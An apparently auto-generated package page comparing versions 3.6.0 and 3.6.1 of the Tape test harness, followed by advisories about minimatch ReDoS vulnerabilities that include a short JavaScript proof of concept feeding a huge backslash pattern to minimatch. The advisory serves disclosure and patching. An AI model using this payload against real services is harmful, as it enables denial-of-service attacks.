Tape version 3.6.1 presents a negligible upgrade over its predecessor, version 3.6.0, primarily distinguished by a corrected release date. Both versions share identical core functionality and dependencies, making the transition seamless for developers already utilizing Tape. The package describes itself as a "tap-producing test harness for node and browsers". For developers new to Tape, versions 3.6.0 and 3.6.1 provide a lightweight and straightforward solution for writing and running tests. Key features include TAP output for easy integration with various reporting tools, a simple API for defining test cases, and browser compatibility, enabling consistent testing across both server-side and client-side environments. Tape's dependency list reveals its architecture: *glob* for file matching, *defined* to avoid undefined variables, *resumer* for handling asynchronous operations, *through* for creating streams, *inherits* for inheritance, *deep-equal* for value comparison, and *object-inspect* for complex objects. The *devDependencies* are also relevant. *tap* for running tap output, *falafel* for static code analysis and *concat-stream* for stream manipulation. The MIT license promotes open-source usage and contribution. Given the lack of functional changes, upgrading from 3.6.0 to 3.6.1 is not strictly necessary unless accurate release timestamps are paramount. They are essentially interchangeable otherwise.
All the vulnerabilities related to the version 3.6.1 of the package
Regular Expression Denial of Service in minimatch
Affected versions of minimatch are vulnerable to regular expression denial of service attacks when user input is passed into the pattern argument of minimatch(path, pattern).
var minimatch = require(“minimatch”);
// utility function for generating long strings
var genstr = function (len, chr) {
var result = “”;
for (i=0; i<=len; i++) {
result = result + chr;
}
return result;
}
var exploit = “[!” + genstr(1000000, “\\”) + “A”;
// minimatch exploit.
console.log(“starting minimatch”);
minimatch(“foo”, exploit);
console.log(“finishing minimatch”);
Update to version 3.0.2 or later.
minimatch ReDoS vulnerability
A vulnerability was found in the minimatch package. This flaw allows a Regular Expression Denial of Service (ReDoS) when calling the braceExpand function with specific arguments, resulting in a Denial of Service.